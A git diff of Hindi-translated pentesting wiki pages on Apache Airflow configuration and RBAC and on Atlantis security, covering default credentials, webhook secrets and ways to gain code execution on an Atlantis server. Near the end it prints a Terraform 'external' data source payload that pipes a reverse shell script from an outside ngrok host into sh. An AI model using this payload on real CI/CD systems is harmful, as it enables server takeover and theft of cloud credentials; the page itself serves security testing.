प्रमाणीकरण** कॉन्फ़िगर करने के लिए -- `airflow.api.auth.backend.basic_auth`: **बुनियादी प्रमाणीकरण** के लिए -- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है ( [**यहां**](https://cloud.google.com/composer/docs/access-airflow-api) से)। +- `airflow.api.auth.backend.kerberos_auth`: **केर्बेरोस प्रमाणीकरण** कॉन्फ़िगर करने के लिए +- `airflow.api.auth.backend.basic_auth`: **बेसिक प्रमाणीकरण** के लिए +- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है (से [**यहाँ**](https://cloud.google.com/composer/docs/access-airflow-api)). - `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)। -- आप **पायथन** के साथ अपना खुद का प्रमाणीकरण विधि भी **बना सकते हैं**। +- आप **अपना खुद का प्रमाणीकरण** विधि भी बना सकते हैं पायथन के साथ। - **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ ### **\[atlas]** @@ -39,16 +39,16 @@ config file पढ़ते समय जांचने के लिए कु - **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_) - **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं। -- **`ssl_cacert`**: कैसर्ट का पथ +- **`ssl_cacert`**: cacert का पथ - **`ssl_cert`**: प्रमाणपत्र का पथ - **`ssl_key`**: कुंजी का पथ ### \[core] -- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` स्ट्रिंग्स नहीं हैं। +- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` के स्ट्रिंग्स नहीं हैं। - **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण) -- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएं। -- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केरबेरस) +- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएँ। +- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केर्बेरोस) ### \[dask] diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 80c4c84d6..1ebf49b8a 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,17 +4,17 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**। **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**। लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना। +(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**. **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**. लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना. -- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं। -- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं। -- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए)। यह **कॉन्फ़िगरेशन नहीं देख सकता।** -- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं। वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है।** -- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं। +- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं. +- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं. +- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए). यह **कॉन्फ़िगरेशन नहीं देख सकता**. +- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं. वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है**. +- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं. -ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं। +ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं. -यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op** ऐसा करने में सक्षम होगा। +यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op**. ### Default Permissions @@ -22,7 +22,7 @@ - **Admin** -\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Views/Menus पर Permission पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं] +\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Permission on Views/Menus पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं] - **Op** diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 6df4f17e7..15957ebb4 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -10,27 +10,27 @@ Atlantis मूल रूप से आपको आपके git सर्व ### Local Lab -1. **atlantis releases page** पर जाएं [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) और **डाउनलोड** करें जो आपके लिए उपयुक्त हो। -2. अपने **github** उपयोगकर्ता का **व्यक्तिगत टोकन** (repo एक्सेस के साथ) बनाएं। -3. `./atlantis testdrive` चलाएं और यह एक **डेमो repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**। -1. आप 127.0.0.1:4141 में वेब पृष्ठ तक पहुँच सकते हैं। +1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) पर **atlantis releases page** पर जाएं और **download** करें जो आपके लिए उपयुक्त हो। +2. अपने **github** उपयोगकर्ता का **personal token** (repo access के साथ) बनाएं। +3. `./atlantis testdrive` चलाएं और यह एक **demo repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**। +1. आप 127.0.0.1:4141 पर वेब पृष्ठ तक पहुँच सकते हैं। ### Atlantis Access #### Git Server Credentials **Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps** का समर्थन करता है।\ -हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **विशेषाधिकार प्राप्त एक्सेस की आवश्यकता होती है** (कम से कम लिखने की अनुमति)।\ +हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **privileged access granted to them** (कम से कम लिखने की अनुमति) की आवश्यकता होती है।\ [**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं। > [!WARNING] -> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis खाता** एक बहुत ही **दिलचस्प** **समझौता करने के लिए** होगा। +> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis account** एक बहुत ही **दिलचस्प** **compromise करने के लिए** होगा। #### Webhooks -Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **वैध** हैं। +Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **legitimate** हैं। -इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को अनुमति दें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है। +इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को allowlist करें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है। ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी। @@ -41,71 +41,71 @@ Atlantis वैकल्पिक रूप से [**Webhook secrets**](https:/ [From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **चलाकर** चलाता है जिस पर **Atlantis होस्ट किया गया है**। जैसे ही आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है। +Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **जहाँ Atlantis होस्ट किया गया है** चलाकर चलाता है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है। -यह आपके ऊपर है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [क्रेडेंशियल्स कैसे प्रदान करते हैं](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info): +यह आप पर निर्भर करता है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) कैसे प्रदान करते हैं: - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें। - यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें) - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहां Atlantis चल रहा है। -- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहां Atlantis चल रहा है। +- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहाँ Atlantis चल रहा है। +- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहाँ Atlantis चल रहा है। - प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें। > [!WARNING] -> **Container** जहां **Atlantis** **चल रहा है** उसमें उच्च संभावना है कि **विशेषाधिकार प्राप्त क्रेडेंशियल्स** हों प्रदाताओं (AWS, GCP, Github...) के लिए जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है। +> **Container** जहाँ **Atlantis** **चल रहा है** संभवतः **privileged credentials** को प्रदाताओं (AWS, GCP, Github...) के लिए **contain** करेगा जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है। #### Web Page -डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost में पोर्ट 4141 पर चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)। +डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost पर पोर्ट 4141 में चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)। आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)। ### Server Configuration -`atlantis server` के लिए कॉन्फ़िगरेशन को कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है। +`atlantis server` के लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है। - आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं। -- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित करें**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित किया जाए**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)। मान मानने का **यह क्रम** है: -1. फ्लैग -2. पर्यावरण चर -3. कॉन्फ़िग फ़ाइल +1. Flags +2. Environment Variables +3. Config File > [!WARNING] > ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं। #### Repos Configuration -कुछ कॉन्फ़िगरेशन **कैसे repos का प्रबंधन किया जाता है** को प्रभावित करते हैं। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है: +कुछ कॉन्फ़िगरेशन **repos के प्रबंधन के तरीके को प्रभावित करते हैं**। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के। 1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए। -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला एक yaml है (regexes समर्थित)। -3. **डिफ़ॉल्ट** मान +2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)। +3. **Default** मान। **PR Protections** -Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (यहां तक कि यदि वह शाखा सुरक्षा में सेट नहीं है) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है। +Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (भले ही वह शाखा सुरक्षा में सेट न हो) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है। -यदि `allowed_overrides` सत्य है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**। +यदि `allowed_overrides` True है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**। **Scripts** -Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स** को चलाने के लिए [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) निर्दिष्ट कर सकता है जब एक **workflow निष्पादित होता है।** +Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स को निर्दिष्ट कर सकता है** [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) एक **workflow के निष्पादन के लिए।** -इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **निर्दिष्ट** करने की कोई विकल्प नहीं है। +इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **specify** करने की कोई विकल्प नहीं है। **Workflow** -Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), या [**नए कस्टम workflows बनाएं**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**।** आप यह भी **निर्दिष्ट** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच सकते हैं**।\ -फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **उपयोग करने के लिए workflow निर्दिष्ट करने की अनुमति दे सकते हैं।** +Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) निर्दिष्ट कर सकते हैं, या [**नई कस्टम workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)** बना सकते हैं।** आप यह भी **specify** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच** सकते हैं।\ +फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।** > [!CAUTION] -> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए निर्दिष्ट करे कि किस workflow का उपयोग किया जाने वाला है।\ +> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo के **`atlantis.yaml`** फ़ाइल में **specify** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए भी निर्दिष्ट करे जो उपयोग किया जाने वाला है।\ > यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**। > > ```yaml @@ -126,14 +126,14 @@ Repo कॉन्फ़िगरेशन (सर्वर साइड कॉ **Conftest Policy Checking** -Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **नीतियों** को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग मामलों में शामिल हैं: +Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **policies** को योजना के आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग के मामले में शामिल हैं: - मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना - निर्माण के समय एक संसाधन के गुणों का दावा करना - अनजाने में संसाधन हटाने को पकड़ना - सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना) -आप इसे कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में। +आप इसे [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं। ### Atlantis Commands @@ -174,7 +174,7 @@ atlantis plan -- -lock=false यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**। -आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) के द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें: +आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -184,37 +184,37 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" आप इस अटैक को एक 